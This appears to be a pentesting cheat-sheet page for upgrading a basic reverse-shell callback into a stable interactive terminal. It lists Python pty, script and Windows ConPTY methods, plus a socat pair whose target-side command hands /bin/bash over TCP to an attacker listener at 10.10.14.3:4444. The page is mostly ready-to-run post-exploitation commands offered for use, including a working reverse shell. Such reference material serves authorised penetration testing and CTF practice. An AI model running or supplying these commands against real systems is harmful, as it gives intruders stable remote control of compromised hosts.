Shell Upgrade

Turn a basic callback into a more stable interactive TTY.

Upgrade context

Preferred shell

Attacker IP / host

Upgrade port

Python PTY upgrade

linux · The most common upgrade path when Python is present.

python3 -c 'import pty; pty.spawn("/bin/bash")' || python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
stty raw -echo; fg
reset
export TERM=xterm-256color
stty rows 40 columns 120

script fallback

linux · Useful on hosts without Python but with util-linux script.

script -qc /bin/bash /dev/null
export TERM=xterm

Socat full TTY

linux · Best terminal behavior when socat exists on both ends.

Attacker: socat file:`tty`,raw,echo=0 tcp-listen:4444,reuseaddr
Target: socat exec:'/bin/bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.3:4444

Windows ConPTY note

windows · Upgrade guidance for modern Windows shells.

Use a ConPTY-aware payload/listener when possible.
If only PowerShell is available, prefer ncat or PowerShell remoting for a stable interactive session.
Set code page first if output is garbled: chcp 65001